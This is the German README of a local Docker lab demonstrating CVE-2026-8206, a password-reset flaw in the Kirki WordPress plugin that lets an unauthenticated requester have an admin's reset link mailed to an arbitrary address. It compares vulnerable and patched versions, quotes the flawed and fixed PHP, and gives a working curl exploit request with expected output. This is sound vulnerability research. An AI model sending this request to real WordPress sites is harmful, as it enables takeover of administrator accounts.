
Lokales Docker-Labor zur Demonstration von CVE-2026-8206 im Kirki-WordPress-Plugin.
Dieses Repository vergleicht die echten Kirki-Plugin-Versionen:
vuln: Kirki 6.0.6patched: Kirki 6.0.7Das Labor ist rein lokal und bindet die WordPress-Dienste an 127.0.0.1.
Der PoC ist auf geringstmöglichen Schaden ausgelegt: Er fordert einen Passwort-Reset an und überprüft den im Labor erfassten E-Mail-Empfänger. Er ändert kein Passwort.
CVE-2026-8206 ist eine nicht authentifizierte Schwachstelle für Kontenübernahme / Privilegienausweitung in Kirki-Versionen 6.0.0 bis 6.0.6.
Der anfällige Passwort-Reset-Handler erstellt einen Reset-Schlüssel für einen echten WordPress-Benutzer, der über username ausgewählt wird, sendet die Reset-E-Mail jedoch an eine beliebige, in der Anfrage angegebene E-Mail-Adresse.
In diesem Labor:
vulnerable => reset link for admin is sent to [email protected]
patched => mismatched email is rejected and no reset email is sent to [email protected]
6.0.0 bis 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
Der anfällige Handler ist:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki liest die vom Angreifer übermittelte E-Mail aus dem Anfragetext:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
Anschließend ermittelt es den Ziel-WordPress-Benutzer anhand des Benutzernamens und erstellt einen Passwort-Reset-Schlüssel für diesen Benutzer:
$key = get_password_reset_key( $user );
Die endgültige Reset-E-Mail wird jedoch an die in der Anfrage übermittelte $email gesendet:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Dadurch wird die Vertrauensgrenze zwischen der Kontoidentität und dem Empfänger der Reset-E-Mail gebrochen. Ein nicht authentifizierter Anfragender kann Folgendes bereitstellen:
username=admin
[email protected]
Der Reset-Schlüssel gehört admin, die E-Mail wird jedoch an die vom Angreifer kontrollierte Adresse zugestellt.
Kirki 6.0.7 validiert, dass die angegebene E-Mail mit der registrierten E-Mail-Adresse des ermittelten Benutzers übereinstimmt, und setzt den Empfänger vor dem Senden auf die Konto-E-Mail-Adresse:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Lokale E-Mails werden in Dateien erfasst, anstatt extern versendet zu werden:
artifacts/vuln-mail/
artifacts/patched-mail/
Das Labor verwendet echte, mit WP-CLI installierte Kirki-Plugin-Versionen. Der Plugin-Quellcode wird nicht verändert.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requestsPython-Abhängigkeit bei Bedarf installieren:
python3 -m pip install requests
Container starten:
docker compose up -d --build
Beide WordPress-Instanzen initialisieren:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
PoC ausführen:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
Erwartetes Ergebnis:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
Dies beweist, dass die verwundbare Version eine Passwort-Reset-E-Mail für das Zielkonto an die vom Angreifer kontrollierte Adresse gesendet hat.
Erwartetes Ergebnis:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
Dies beweist, dass die gepatchte Version die Abweichung zwischen Benutzername und E-Mail-Adresse ablehnt und die Reset-E-Mail nicht an die vom Angreifer kontrollierte Adresse sendet.
Erstellen Sie das korrekte Kirki-Element-Nonce im verwundbaren Labor:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
Senden Sie eine rein lokale Anfrage an den verwundbaren Dienst:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
Erfasste E-Mails prüfen:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
Erwarteter Nachweis:
To: [email protected]
... action=rp ... login=admin ...
Dieses Labor ist ausschließlich für lokale Sicherheitsforschung und die Demonstration im Portfolio gedacht.
Schutzvorkehrungen:
127.0.0.1.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
| Service | Zweck | Host-URL |
|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL für das verwundbare WordPress | Nur Docker-Netzwerk |
db_patched | MySQL für das gepatchte WordPress | Nur Docker-Netzwerk |
wpcli_vuln | Initialisiert das verwundbare WordPress | Einmal-Setup |
wpcli_patched | Initialisiert das gepatchte WordPress | Einmal-Setup |